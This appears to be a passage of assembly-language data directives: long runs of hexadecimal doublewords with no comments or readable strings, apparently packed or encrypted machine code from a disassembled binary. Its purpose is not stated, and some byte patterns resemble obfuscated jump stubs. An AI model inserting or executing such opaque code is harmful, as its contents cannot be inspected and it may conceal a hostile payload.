		dd 0E906B1B0h, 0FFFAD35Ch, 0B1B19468h, 0D352E906h, 5E68FFFAh
		dd 0E906B1B3h, 0FFFAD348h, 0B1B44468h, 0D33EE906h, 51BCFFFAh
		dd 7E45495h, 50BE0ECFh,	5E55594h, 51B808C9h, 0D0295495h
		dd 81407C93h, 0DE1FD731h, 8B4A826Eh, 0DB1AD23Bh, 1C70C392h
		dd 61E8E18Ch, 4F8BCA46h, 9D45F625h, 0A2E521DCh,	0FCED5D8Eh
		dd 58B101C0h, 0FB3F5C9Ch, 4CF14291h, 0D5EBD387h, 70C4667Fh
		dd 71F8B6B8h, 2B9B4864h, 69D90AC2h, 0D107B485h,	1EFCF6EFh
		dd 56951C32h, 1AC905E6h, 498945AAh, 4D8330E3h, 92FCF6EFh
		dd 96F537BEh, 0F8453E52h, 70AA3017h, 8B3E8D5Eh,	90F292EEh
		dd 0F3A054BCh, 8346F1Dh, 9C644h, 14D02300h, 4C8865D5h
		dd 17CF3D8Dh, 4E8666D6h, 14D03F8Fh, 1251A8D5h, 0B202C3FBh
		dd 0ED5D9C58h, 0B404C501h, 135A9B53h, 8A9BF142h, 0C7E0E8E1h
		dd 6DAD5E4Bh, 2C80407Ch, 0DDB61CE0h, 0E9C7E94Fh, 0B66E9F29h
		dd 0BCD61277h, 4909DC6Fh, 7A56E52Eh, 0FBCEDBAh,	0F63E74D9h
		dd 74FB51E2h, 6C40F63Eh, 0EDDE577Bh, 0F63E74B3h, 0EB076347h
		dd 39EF8A6Fh, 6D65h, 0E304B400h, 0C841EB2Bh, 254F8B44h
		dd 3BF445F6h, 0A879E52Fh, 40164AF9h, 775BF63Fh,	3F401246h
		dd 5D735FF6h, 3FF0289Dh, 0F118F63Fh, 0AD43F535h, 81417D6Dh
		dd 0F7C5052Bh, 52FABBD7h, 1ED63585h, 14A774DEh,	0F63F3FC0h
		dd 8AA8210Dh, 0B98602DEh, 7ED439E8h, 0C32FB59Fh, 4961CB0Bh
		dd 32E1CBE1h, 3FDA4B81h, 35BC90F6h, 0EABAh, 0AD5E3600h
		dd 0E807B171h, 0B15AEC2Ch, 0B3E2B575h, 0F030EC03h, 36356B5Ah
		dd 507AEF93h, 0D37E3C78h, 40C9E716h, 0AC439770h, 341AB070h
		dd 8C0B46F5h, 9475EF92h, 0C0299958h, 3993C404h,	59B2561Ah
		dd 67A7B59Dh, 9F5BBE37h, 0C77726F5h, 5566EF27h,	0E52E4584h
		dd 4124E5C9h, 8F3CEF85h, 0EBCDE3F9h, 49F92A06h,	7C6A6CA2h
		dd 0DC1CD836h, 0B51C5E76h, 0E6B77658h, 0DDC29B4Ch, 149DEECDh
		dd 0A0FC524h, 43C74C38h, 0B941A987h, 3B68673Dh,	8554B07h
		dd 5DB00000h, 3BD060A1h, 1CF24283h, 799121E0h, 1DCC7CBDh
		dd 0A45D20E1h, 0DCC08E7h, 52934BBDh, 17D60EE2h,	4F8E46A7h
		dd 0B0E45706h, 0FDE8E189h, 0AF5E56DAh, 960EA477h, 0EC58DC48h
		dd 3529118h, 0B7ABE152h, 8734EF92h, 0EF92B751h,	89A5B29Eh
		dd 5A9A52BBh, 0A04979F0h, 8BA9A564h, 45F6254Fh,	0E52F3BF4h
		dd 20955579h, 0F63F3FE8h, 26C2AE8Ah, 39E8B9A2h,	123A6h
		dd 0AD5E2A00h, 59F3A271h, 833C6BB6h, 0AEE2D3BFh, 0F3EF92E6h
		dd 229456DFh, 66D313CBh, 0EF92E32Bh, 417EB455h,	0E7220B64h
		dd 72BF9AB2h, 0CCA9D0D5h, 688131E2h, 15C66CACh,	92FC72A6h
		dd 1A93BFEFh, 6AD988D9h, 0EF92FD36h, 6BA34B7Bh,	0A62F01ABh
		dd 46A57596h, 0AA194E8Eh, 0EF92FC76h, 97B997BBh, 0E0AA0057h
		dd 8435AA93h, 52205971h, 0FEA8AA6Ah, 3A569277h,	605C4156h
		dd 3BB2CB7h, 63D0032Dh,	0E52EF7B2h, 5E52913Bh, 0E484D420h
		dd 9554786Dh, 8D5E34F0h, 0EA3E8DDCh, 12F63F21h,	0A903C3FBh
		dd 281B92BEh, 0EBCEC383h, 0B6EA5988h, 0FBFCEDC1h, 7B2AF9D7h
		dd 0EDC194C8h, 0D70FFCFCh, 0B465ECC0h, 0E829E504h, 9D75B158h
		dd 68689EF3h, 0C99D5E9h, 69000007h, 3F8F4E86h, 6BDB1AD2h
		dd 38884985h, 65D514D0h, 0F28F4E86h, 518D7C0Bh,	0EC62090h
		dd 5B937FCFh, 5C12A9Ah,	6FDC8DC4h, 0E8E18839h, 5E2DA186h
		dd 0E3398AAFh, 28EF9335h, 36164AF9h, 775BEF93h,	6B67759h
		dd 1ED635E5h, 0BF53E330h, 414D8E07h, 0B171AD5Eh, 78B456E6h
		dd 0C72012B8h, 0EC65CF0Fh, 32F32BDCh, 93354781h, 86FA50EFh
		dd 0B11CCA5h, 0C90DE861h, 0FBDA70A3h, 232D89C4h, 839DF340h
		dd 0CEE2EF92h, 0BB869E0h, 0E5212A99h, 33994A66h, 6021034h
		dd 68A446A3h, 0A52C02A8h, 78952574h, 0E40535BCh, 321CD834h
		dd 72AA43F3h, 8215D1B2h, 32C60D3h, 5D71F644h, 4403386Ch
		dd 0A4E9BAF6h, 5D5261E3h, 9B48664Ah, 129660CAh,	0FC58BC20h
		dd 53C74675h, 0B894EBDFh, 6A36C650h, 6E221E68h,	627h, 0B677AF42h
		dd 0EC2DE906h, 0B776AE5Ch, 0EE2FE707h, 0B677AF5Eh, 967532CBh
		dd 0BD2F9F5Eh, 9C70C001h, 0F811A160h, 0E5B4FD3Ch, 0E1870256h
		dd 0E4684FE8h, 0A271AD5Eh, 2C2FA12h, 35B2E655h,	0D3FFEF93h
		dd 0B674FDh, 8AEF2FE7h,	0F0193C28h, 0B757E734h,	6435F67Fh
		dd 75FC38D4h, 0BB4F78FCh, 2570C0h, 0F0A10000h, 93420D43h
		dd 639B77EFh, 321E09A3h, 77A437BBh, 0F3000001h,	35BB11A2h
		dd 2C00EF93h, 0F030EC1Eh, 5D5FD35Ah, 0EF933603h, 0C5167CB8h
		dd 21DCDB76h, 7690A0E5h, 0E6D47EBEh, 32E1CF07h,	7EAD6982h
		dd 26E61ECEh, 97C6058Ch, 0CD0DC927h, 2DDEEE67h,	2FDDFDEDh
		dd 0B319D9F7h, 0FA3E5D9Dh, 51F04390h, 1EEBE0E6h, 0C8D2DA32h
		dd 0BE82686Bh, 552F2h, 8844AF00h, 0D814F949h, 8B43A919h
		dd 0DA12FA4Ah, 8844AB1Bh, 0BECD3449h, 0E656974Fh, 0B909C804h
		dd 0E8589955h, 4F06C7FFh, 8677AD1Eh, 0E3C4E8E1h, 6DAD5E6Fh
		dd 2983437Bh, 9871C707h, 3094B25Ah, 37198899h, 70AC41F7h
		dd 54E7B0h, 4DEF931Eh, 2BA5361h, 0A0CCECC2h, 0C6A200E1h
		dd 83427A93h, 0BB570E8Ah, 1402C0h, 0BF8E0000h, 77AF5EEEh
		dd 93361246h, 0FA735FEFh, 9D30h, 4F8B3A00h, 0E5D8DF23h
		dd 0B25B095h, 448068D8h, 7AF1CCDh, 14E5219Ah, 0B25BEB38h
		dd 0E20BBB7Ah, 4D89EA2Ah, 0C247F427h, 8FEBD344h, 27C070A3h
		dd 0CDE31BF3h, 0FCED5D0Ch, 907949C0h, 33F79454h, 93D8B5Fh
		dd 8CA23ACEh, 51BE0E5Fh, 76FF5595h, 925EB045h, 7991BDF2h
		dd 6F1D6379h, 745B172Bh, 91000004h, 3787467Eh, 53E322DAh
		dd 70C001BDh, 2D9D5C98h, 0BAC706BEh, 29E50443h,	76AE58E8h
		dd 33EB07B7h, 6DA942F2h, 7B4E5ACh, 0E8E185D1h, 0A4B5391Eh
		dd 130h, 76AE43F3h, 4F8B73FFh, 2B19D539h, 0F7240AC2h, 21DC9E44h
		dd 7993A3E5h, 0F9D77DBDh, 992A7B2Ah, 0F644E043h, 9450B888h
		dd 0EA0333BAh, 0AA43F332h, 15D1B272h, 4DFDAC7Fh, 0BA1619Dh
		dd 870CB182h, 0FDD1EBD3h, 98CC7F2Eh, 0C0FCF68Ah, 872DED29h
		dd 0E435BC90h, 0BA7BB354h, 0F625E10Ah, 2869A746h, 0FFDF62A4h
		dd 0A70DCDE3h, 7DBD7995h, 0CB9C5ED7h, 0A4F3299Ah, 1438FCF6h
		dd 0D6BC789Dh, 9903B605h, 2408F292h, 1D9DECCCh,	90DCE06Fh
		dd 3AFh, 2EEF27CAh, 74B5719Eh, 2FEE26C4h, 76B76F9Fh, 2EEF27C6h
		dd 6E9DAA53h, 25C777B6h, 749828E9h, 20C979B8h, 3D6C25E4h
		dd 0E1845A8Eh, 0C80A7E8h, 0B171AD5Eh, 0EE2EE607h, 0F93D298Bh
		dd 35C51BA8h, 3A0AEF93h, 7FD515D1h, 0FFE8D851h,	8B0F06C7h
		dd 81C0BB4Fh, 48h, 254F8B0Dh, 0AE0DA7F6h, 2233C4CFh, 7DD360B3h
		dd 0C2EF9284h, 0AF5467EEh, 7CE52EC7h, 0DA338350h, 0CA7AAB22h
		dd 7829E824h, 54104ED2h, 7EF7A0A7h, 3F06144Dh, 538B7CF6h
		dd 10CC2292h, 679F73C3h, 10602CEEh, 6A000003h, 0A97AB25Eh
		dd 3D3EF419h, 5E0C7F46h, 8E4A624Ch, 380EE420h, 73C5078Eh
		dd 13A3629Ah, 0B402C2FAh, 3F5A9B53h, 0F24291FBh, 0BA6BE21Ah
		dd 2E5F5409h, 75B599E5h, 3E8B88C0h, 17BD6AF6h, 0FE723E34h
		dd 0E9CB4270h, 6589397Dh, 83A009AFh
		dd 2A04BC74h, 5C146EAh,	3F576B3Bh, 95119811h, 9F39EFACh
		dd 41h,	0D84F8B13h, 35E63A89h, 72BEF93h, 9335E236h, 31032FEFh
		dd 4BE121DDh, 0B405B665h, 39E52F3Bh, 2860D515h,	50F63F40h
		dd 0BBD7DB9h, 42E525E1h, 0E54D0460h, 0CD49A5C1h, 0C739E8B9h
		dd 0BFh, 71AD5E4Bh, 30E807B1h, 0DD0E20DCh, 0CE477F6Dh
		dd 9551BA0Ch, 3DDEC46h,	2E5D5EABh, 633265A7h, 92467CD0h
		dd 0A310C1EFh, 0EF92466Dh, 39B09EB2h, 0E524E009h, 9242FB56h
		dd 488465EFh, 12D03989h, 21DD5AC7h, 272977FAh, 0F069F0B3h
		dd 5330F0DEh, 9D2EFD97h, 0E52E4044h, 0D410FD4Dh, 2237BE14h
		dd 6EAACF0Eh, 3764D704h, 44EBCDE6h, 0E40BBB68h,	0B259E928h
		dd 8E4E8666h, 1CE20A24h, 0C46867C9h, 1E5B4F8h, 0ED000000h
		dd 0AB40F031h, 0EC02B273h, 0A941F130h, 0ED1CAC6Dh, 748DF031h
		dd 0DD1CD837h, 82437B6Dh, 0E726DE32h, 0BF7EB657h, 0C014A7F6h
		dd 0DE8E182h, 0AF5EA62Ah, 0E506B677h, 0BFE4E829h, 3713B615h
		dd 92905084h, 99B19DEFh, 7E6C8974h, 22C8646h, 0C0AA6E8Bh
		dd 2051A013h, 0F2DEE52Fh, 244D8732h, 92DF63Fh, 5E05815Dh
		dd 0E15139EFh, 0CB44CD09h, 0D4h, 71AD5E47h, 2CE807B1h
		dd 31FC59ECh, 8364EF93h, 0C328984Bh, 1041820Bh,	4F8F47A0h
		dd 0AB5C6CE5h, 0F910A073h, 1576B43Dh, 0DB68BBD1h, 0E52F3D82h
		dd 9A30E3CFh, 55EB82A1h, 1BD851CDh, 3D0BA7Eh, 0CF79C4B0h
		dd 0F62509EBh, 0F45F6A7h, 5CFCEE78h, 22C9F970h,	648939EAh
		dd 5E9E56B4h, 9053DAF4h, 0FC11C920h, 84AA00C0h,	6954A86Ch
		dd 2C605C68h, 0FFh, 0FE3FF71Ah,	0A465A14Eh, 0FF3EF614h
		dd 0A6679F4Fh, 0FE3FF716h, 0BE2D7A83h, 9577C706h, 0C4289859h
		dd 9079C908h, 8DDC9554h, 0E181EA3Eh, 9C1037E8h,	37E615BFh
		dd 88F7BEBCh, 0B6DBB18Dh, 911836BBh, 41924AA1h,	944F02EBh
		dd 0C44D6F4Dh, 0AE65607h, 202E56D4h, 4A64F054h,	99A9208Ah
		dd 7975B470h, 0B171AD5Eh, 0EF2EE607h, 0F7244E8Ah, 21DCB944h
		dd 6AAA86E5h, 32F32BDCh, 5AB16982h, 8EC271A2h, 0D3F644E0h
		dd 0A411D1FFh, 9D58F84Dh, 1CDC18F7h, 4B8B43AAh,	0E3A2CEECh
		dd 44197555h, 1AAA6BA3h, 257BC8F1h, 6A2D7919h, 35A2A340h
		dd 0CCE2C8DEh, 0F8D60EFEh, 0A65E8E38h, 803CD066h, 0E21AF640h
		dd 509F8E22h, 69A45935h, 73E2A88h, 17A4F524h, 2D78FFC1h
		dd 0CA0AC22Bh, 735B7760h, 1D47BCF5h, 0C2E069A9h, 0E21AF3A6h
		dd 427A9323h, 8365D582h, 13218B4Bh, 8349C0FCh, 3, 5E720089h
		dd 0DBB7BB3h, 56E020DCh, 74C202BAh, 2C9A5A92h, 77C101BDh
		dd 2A9C5C98h, 7CCA0AC2h, 2096568Eh, 0DDD313CBh,	81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 7568243Ch, 89000046h
		dd 2B682434h, 8900007Ah, 0E268243Ch, 8B06B1AAh,	0C4812434h
		dd 4, 243C8B54h, 5104C483h, 8F51F189h, 8B590847h, 8951243Ch
		dd 4C181E1h, 83000000h,	0C8704C1h, 348B5C24h, 0E0895024h
		dd 405h, 40500h, 4870000h, 49E95C24h, 33FFFAC8h, 3651675Dh
		dd 0B1B568B8h, 0FFC50306h, 0E3AE6CE0h, 0B98B7669h, 8312C925h
		dd 0DFB14572h, 0E2C32B48h, 6AC31976h, 1140A46Fh, 3627825Ch
		dd 87136C7Fh, 0AF9A6742h, 9E484653h, 5F773C70h,	0A794F973h
		dd 0C8AA2E28h, 8040739h, 0BDE00E4Ah, 8619BA76h,	8ECFE81Eh
		dd 346B749h, 5A4AB42Bh,	0DB8D8D4Ah, 6A06B1B6h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0CBBFC356h, 46496875h, 687FAFBEh, 2F0D8D89h,	6A06ACh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0BE3229C3h, 71CDA0E3h, 0C7D78B66h, 0AC1E0585h, 5C7C06h
		dd 0C7E7B300h, 0AC27F185h, 6, 0C28B6600h, 30C5B5FFh, 9D8B06ACh
		dd 6AC3211h, 1CDD9529h,	95FF06ACh, 6AC0BF9h, 13E9h, 0FCC8E500h
		dd 7354D72Dh, 0E665174Ah, 0AFB5E1CCh, 7B8EF8CCh, 95FF006Ah
		dd 6AC2145h, 0FEBC08Bh,	2C63A019h, 0F3DADFCEh, 0BABA3046h
		dd 8DFEA7FCh, 0B1B7A58Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 6936C468h
		dd 8E8B8h, 0FB340000h, 373BB1Fh, 0B52920ECh, 6AC316Dh
		dd 7DB5895Eh, 8906AC32h, 0AC2F0D8Dh, 0A58D8906h, 0C706AC26h
		dd 0AC1E0585h, 6C6C06h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0F83BEDFEh, 6F705097h
		dd 27F185C7h, 6ACh, 12E90000h, 37000000h, 39C401A2h, 5B83F19Ch
		dd 0DAEDEF2h, 0FD374E55h, 0C5B5FF41h, 8B06AC30h, 0AC1261B5h
		dd 0F995FF06h, 8006AC0Bh, 6ABBC6h, 214595FFh, 0C08B06ACh
		dd 8B090FEBh, 61755AE6h, 3B13E632h, 0CFD44996h,	23E906h
		dd 3310000h, 339C0EC9h,	77E7h, 6 dup(0)
		dd 0D11E900h, 59680000h, 0E906B1B9h, 0FFFAC630h, 0B1BA2D68h
		dd 0C626E906h, 0B768FFFAh, 0E906B1BBh, 0FFFAC61Ch, 0B1BCD768h
		dd 0C612E906h, 3268FFFAh, 0E906B1BEh, 0FFFAC608h, 0B1C0B568h
		dd 0C5FEE906h, 6168FFFAh, 0E906B1C2h, 0FFFAC5F4h, 0B1C35068h
		dd 0C5EAE906h, 8568FFFAh, 0D3388849h, 846ADA1Bh, 0D1398948h
		dd 8564D415h, 0CF58849h, 9554907Fh, 0CA0BC325h,	9F5E967Ah
		dd 0C706BE2Fh, 386CDF8Eh, 85E8E17Eh, 0AD5E2EA2h, 0E607B171h
		dd 8457FD2Eh, 1089027Fh, 0CE9F5CD5h, 93F82C9Fh,	6945EF92h
		dd 0ABC105E0h, 0CB782978h, 0EF929395h, 9377AD1Eh, 0E8C4EF92h
		dd 695AD3FFh, 0E52E86B4h, 0A75F8D3Dh, 0D7173B2Eh, 3EB32A62h
		dd 80ECC8F6h, 0EFC8E064h, 38E839h, 8B640000h, 45F6254Fh
		dd 0E52F3BF4h, 0B9415379h, 4D8D49A1h, 116FCFE7h, 75F87305h
		dd 6846E402h, 61D18646h, 0F5C64F87h, 0F63FBF9Bh, 0F30F7B5Fh
		dd 39E83977h, 0AC7Dh, 0AD5EF100h, 0E807B171h, 0B15AEC2Ch
		dd 0EA03B575h, 0BC51E132h, 1B4A8900h, 0A647E04Ah, 6FF72F51h
		dd 92AF0A5Eh, 0F27B57EFh, 92A998C1h, 0AF6780EFh, 628F3F6Eh
		dd 49C06AAAh, 94549079h, 8A5933F7h, 2EBC6839h, 5899B5E5h
		dd 4093F93Dh, 0CE5B3DF3h, 0BD6E42EBh, 0E726DE0Dh, 8B60B857h
		dd 456BA34Fh, 2ED3836Bh, 0B18D6868h, 0AEDFDh, 30EC0700h
		dd 70AC41F1h, 33EB01B1h, 72AA42F2h, 30EC03B3h, 36758CF1h
		dd 6EDE1FD7h, 3181407Ch, 50E021DDh, 0F7BE7FB7h,	7CBF15A6h
		dd 2B0CE8E1h, 0E00FBFA7h, 0C74EE424h, 1DDC18F7h, 41803CADh
		dd 394F8B4Dh, 70DA1AD2h, 0CF3E8D5Eh, 5CE52F3Bh,	0FD13A370h
		dd 22AB01C1h, 3FFB55E0h, 0DBFFF63Fh, 0B9D753AFh, 0ACDD39E8h
		dd 51000000h, 806DAD5Eh, 2E8444h, 528A63D3h, 0FE4E19DBh
		dd 0BC16D60Eh, 2EE60535h, 31125BEEh, 0D13AEF93h, 8364D415h
		dd 0C428984Bh, 20438108h, 0EE5D8EE4h, 0E52F433Fh, 0C373A08Ch
		dd 872DED29h, 2C9CCD0Eh, 6DC707BFh, 0AFC501E4h,	719D2D7Ch
		dd 680F3CB5h, 75EBCEE5h, 0D33A8A59h, 836ADA1Bh,	0AE79A34Bh
		dd 87BB6868h, 0A19CBh, 64A07300h, 3CF815A5h, 679F4DFDh
		dd 3EF616A6h, 64A04FFFh, 6221D8A5h, 2292538Bh, 7DCD0CC8h
		dd 24945591h, 83CA0BC3h, 7C2B61D2h, 5770E8E1h, 77AF5EDBh
		dd 29E506B6h, 1113B9E8h, 25568B8Bh, 0BF139F16h,	0C73244EEh
		dd 0DDD0DDB4h, 92D3B8ECh, 0A02905EFh, 6CBF7790h, 0F3A3E9C6h
		dd 4D519E03h, 54C94B87h, 0E022AB85h, 2CE807B7h,	0B87495A5h
		dd 53893A6Bh, 98EF924Fh, 0AFFE3DB4h, 0F131ED1Fh, 0AD6DA947h
		dd 45A02907h, 0D915F781h, 4E9DB319h, 2E4F44FDh,	0B5278DE5h
		dd 86EAF713h, 4A6673FAh, 1DE63F8Ah, 0B094F63Fh,	53BC38D4h
		dd 65B439EFh, 38000006h, 75DEEBFh, 54EF9336h, 0D014F178h
		dd 7BDA69BAh, 0C0E52F55h, 2A7B2CECh, 3F554399h,	0EA5988F6h
		dd 0F63F55B6h, 70F9D7FBh, 3F560943h, 943EE9F6h,	3BD03FC6h
		dd 8E46A721h, 5F0B29A0h, 0E8F90783h, 61E0D39h, 8B810000h
		dd 45F6254Fh, 0E52F2274h, 459B28F9h, 8AF63F4Ah,	0FD4888A6h
		dd 0F63F4AA3h, 0B0E71DCDh, 0BD4AF6C6h, 46F0301Eh, 9AB272AAh
		dd 0C36B2A46h, 66378BE7h, 39F935D6h, 0E86EA293h, 83B3F63Fh
		dd 1099B76Fh, 0E8061D99h, 5D21739h, 0CB9B0000h,	0D7A1659Dh
		dd 4D7F935h, 2F4316B7h,	17F7DBE5h, 308E93A2h, 0C6AC686Ah
		dd 80EFA615h, 0C3C77F0h, 0C80826DEh, 0D6056FABh, 9CBA2A65h
		dd 885B777Eh, 0D617CF38h, 0A1498566h, 0FB27AB81h, 8FC38FB3h
		dd 0E9000008h, 0BF0FCE06h, 0EB5B9A52h, 0B808C905h, 0E5559450h
		dd 720FCE06h, 0D10DFC8Bh, 8E46A010h, 0DB13FF4Fh, 8541AA1Ah
		dd 0EF5C0D44h, 0E8E17AB9h, 5EAD2106h, 0D2B171ADh, 0FEAF7C16h
		dd 35C81CAFh, 3915EF93h, 0CD8B83B0h, 7C50E521h,	0ED860EBDh
		dd 0A172F644h, 7483620Bh, 6D812E1Dh, 3E169FB1h,	0F023DB0Ch
		dd 0AD6DA940h, 284D8E07h, 0E55685EFh, 0F6447877h, 51FB2804h
		dd 0FB265E54h, 4C64F49h, 688159B2h, 0F4C66CACh,	35F4DA12h
		dd 44591E86h, 0AE6A86F6h, 0EA40803Ch, 54B505C4h, 0BF0F5898h
		dd 2E1D9450h, 0F64429F6h, 6D305C80h, 75AB5C7Ch,	2D8878Ah
		dd 6CAC82EBh, 72A615C6h, 0BFF644B9h, 0CC7CBD93h, 8030E31Bh
		dd 803CAC6Ch, 4DC4EA40h, 0A9E23A8Fh, 391BF644h,	27DF084Dh
		dd 0FAACE6h, 5EA60000h,	7B171ADh, 46F333EBh, 0EF933612h
		dd 3016319Bh, 136683ACh, 8541AA9Ah, 0C25DFC56h,	3B09776Bh
		dd 0D71370B2h, 0C5DD6EBDh, 8AE52132h, 658951BAh, 41A987A9h
		dd 61BF1E27h, 6FDD91ADh, 89000007h, 0DF6FAE66h,	8B3BFA32h
		dd 0D868A965h, 8535F430h, 126FAE66h, 71AD5CEBh,	2EE600B0h
		dd 7BB35FEFh, 25E10ABAh, 4FFCADE4h, 0E8E17A19h,	5ECD4166h
		dd 0E6B171ADh, 0BD7DB956h, 3FAE9E17h, 0A7174687h, 36068F47h
		dd 53E322DAh, 73C302BAh, 16A0609Ch, 5CEC3FF7h, 39FB72AAh
		dd 0EB58618Fh, 0EF9335B5h, 38F8D6FAh, 6AAA628Eh, 49086444h
		dd 3B5E0AA8h, 0D0D918D4h, 0C0BB4F54h, 75Ch, 99A4D000h
		dd 0AE000000h, 0B171AD5Eh, 7FB756E6h, 0AF9C15BFh, 0EF932575h
		dd 9DC0AC8Eh, 0C171B06Ch, 8431F12Dh, 0EF93454Dh, 5E9E56B7h
		dd 8C804E8h, 0A0E18DAFh, 65B3715h, 0FFF332EAh, 2BE30FBFh
		dd 0F8C841EBh, 0A10BD814h, 4E234D95h, 58504800h, 56235216h
		dd 8533F178h, 86DAD69h,	779BBEAAh, 6C3D6CBFh, 928289DFh
		dd 0CBFAD6EFh, 0EF928295h, 0BC7FF6DAh, 928B320Fh, 840D86EFh
		dd 0DEC0BBE1h, 0E062BC74h, 0A40ECE06h, 306CB68Ch, 72CF0AAh
		dd 20A987B0h, 0FFFEAAAFh, 51A423FFh, 0AE000003h, 0B171AD5Eh
		dd 93359C04h, 0D0BC9CEFh, 61A05C8Dh, 3CFC38D1h,	93351F89h
		dd 0A46089EFh, 0F22AC777h, 1EDAB97Bh, 86467E68h, 62D1022Ch
		dd 0E521CE6Ch, 0C9F51D31h, 1361BFB9h, 614632Fh,	816C0000h
		dd 0D7348445h, 806EDE1Fh, 0D5358544h, 8168D819h, 0F98445h
		dd 0B170AC43h, 0EE2FE701h, 0BB7AB25Eh, 0EB2AE20Bh, 0C40F3A2h
		dd 51E8E178h, 0AD5EFA76h, 0E807B171h, 0CBCED2Ch, 9AAA23DBh
		dd 0D666B571h, 0B774FD39h, 0EC2CE807h, 0BB7BB35Ah, 4D107CDEh
		dd 0AEA7669Eh, 0C0BB4B2Ah, 2B35Eh, 4C8BD200h, 0B783E120h
		dd 53B4A918h, 0DFF15B9Bh, 5C501EDh, 0F44181AFh,	0EEE1FC8Ah
		dd 0C4204C68h, 0C1AA7040h, 6F4AA616h, 820288DCh, 0D7F9D5EEh
		dd 8395BD17h, 292105D2h, 7567E861h, 0EB000002h,	0F5264C8Bh
		dd 0AE6EA645h, 0F535F118h, 29F8715Fh, 9335469Ah, 67A78BEFh
		dd 0AF678030h, 7F4CC56Fh, 0EEE23713h, 96568E7Dh, 0CC0CC820h
		dd 0F3B2DEFEh, 0AF137F5Bh, 0F535F11Fh, 0DB5FD65Fh, 0D1C1AA4Ah
		dd 230h, 0AEE25100h, 0F3EE823Ch, 8BDA56DFh, 46F5264Ch
		dd 0EF933616h, 2B7775Bh, 0EEE236B8h, 16F29EBAh,	0C1AA4A92h
		dd 20796h, 4C8B1A00h, 0FAB8920h, 644A000Ah, 0A59804B7h
		dd 925EF92h, 0C02E9EC9h, 0E76EC404h, 0E1A66AD4h, 402C08EEh
		dd 0AADA20A4h, 942776C1h, 0EE81AC40h, 0A728A18Dh, 1D0h
		dd 0EC28C676h, 0FBFE965h, 9EAE27DFh, 2671B16Dh,	7DBD7996h
		dd 7D6E5ED7h, 20DC0CBCh, 257B4AE0h, 6AEF9336h, 0F8A96846h
		dd 0AB6BA348h, 1DD93301h, 1BFE77DDh, 8541A9DFh,	16CB78ABh
		dd 5BE52F28h, 0CA02B777h, 32F63F53h, 57E121DDh,	0F1C303BBh
		dd 54FCB5D1h, 7CF81470h, 7439E8A9h, 43h, 38F615A5h, 0B2339A5h
		dd 28A18FEDh
		dd 254F8BA4h, 3BF445F6h, 4979E52Fh, 0FA565A1h, 40396FDCh
		dd 0AA86F63Fh, 0B5065784h, 0F63F405Fh, 0CB0980ACh, 3F41267Eh
		dd 94F0D4F6h, 0E8BAFC78h, 0F4F439h, 0BF780000h,	36075DEEh
		dd 7854EF93h, 0A969A54Ah, 51BA8A03h, 0CE35595h,	0FAA903D0h
		dd 4C9888F7h, 0D563A128h, 6F38F834h, 0BA0930DFh, 0EF925966h
		dd 9BA987ABh, 131B874h,	0BCED2CE8h, 0D90FBCEDh,	26EF9259h
		dd 59E53B0Ah, 62AEF92h,	5475BC8Fh, 0EBEEF92h, 4FE525E1h
		dd 0D915F6C6h, 0B4CDA00Ah, 25172CBh, 0E92D488Bh, 0D39E8585h
		dd 7856BC46h, 87D118ABh, 0F2DEE522h, 427A9121h,	3083D283h
		dd 0F64187DCh, 0D43F021h, 52F64188h, 0E9D9507Eh, 823AD602h
		dd 534044ACh, 88B461BCh, 391C4h, 0CC08EB00h, 9450BD0Dh
		dd 0CF07E555h, 964EBE0Eh, 0CC08E757h, 0FA89700Dh, 0AA1ADB13h
		dd 0F5458440h, 0AC1CDD19h, 0B42833Bh, 75B3E95Ah, 0DFF8E8E1h
		dd 77AF5E53h, 29E506B6h, 0F71BABFAh, 35DA0E3Fh,	0B27EF93h
		dd 0D717CF39h, 6637F47Dh, 35508437h, 0B19DEF93h, 0AD5EB438h
		dd 0E607B171h, 0DC1CD832h, 2A995876h, 0EF9335F3h, 0B5660CC8h
		dd 2F57DB06h, 8DCAE0E5h, 0F961DF70h, 8FE5FB2Bh,	0FB16E3A7h
		dd 0B01ADA12h, 0AAFE4D9Eh, 0F7F63F8Fh, 3834F5DBh, 0A271AD5Eh
		dd 2FDEFA12h, 0B39D37F7h, 9D4EF83Ah, 1C5A061h, 43E9B86Bh
		dd 24505206h, 0CEFD7453h, 0E52E451Bh, 63B75060h, 3B91518Dh
		dd 58E83B15h, 6A1171AFh, 0CAA17AA7h, 5D8E24E4h,	3F02BAEEh
		dd 0A22B07F6h, 27BD560h, 5B7FF63Fh, 7857D32Fh, 205D39EFh
		dd 0D1000000h, 0F6254F8Bh, 2F3BF445h, 955579E5h, 3F3FE820h
		dd 0C2AE8AF6h, 0E8B9A226h, 0F2A639h, 0BF2A0000h, 0EA2AE20Fh
		dd 10F9C940h, 0A51623C8h, 0EF93356Fh, 90BE90BCh, 0CF07E650h
		dd 9450B90Fh, 0CD09E254h, 863EAE1Eh, 0A665EC46h, 9330CC15h
		dd 0DB13F4EFh, 9B53B808h, 0BB78F15Bh, 0EA2AE20Bh, 46B817BDh
		dd 0B51F2DCEh, 0F55F9F57h, 73B752DBh, 947ACA19h, 0B300D158h
		dd 0E52F8B5Ah, 3C98C963h, 0C0E824C8h, 0B79F1BDFh, 37F47BF2h
		dd 9B8E070Fh, 0D71376B7h, 2FDE6EBDh, 1CAF7EF7h,	0EBCF31CFh
		dd 863EA818h, 31DEEC46h, 169F35F5h, 4CFC2F03h, 0EA464A0h
		dd 7E65687h, 4FBE0ECFh,	35B7F97h, 89B56869h, 1E5C5h, 18D43F00h
		dd 488469D9h, 1BD33989h, 4A826ADAh, 18D43B8Bh, 0E5DA4D9h
		dd 56E627DFh, 9B978B4h,	58E829E5h, 0FFB677AFh, 73C71DAEh
		dd 3314E8E1h, 77AF5EBFh, 5B6E7B6h, 0EF9335CFh, 36356BD8h
		dd 567AEF93h, 0D4E46D41h, 363AFB33h, 0F6254F8Bh, 2F3BF445h
		dd 955579E5h, 3F3FE820h, 0C2AE8AF6h, 0E8B9A226h, 0C7A639h
		dd 0BF2A0000h, 4D633B15h, 175CD516h, 0AE51EDh, 6555DCF2h
		dd 3E884884h, 62D717CFh, 0EF929F3Bh, 89488465h,	0D414D039h
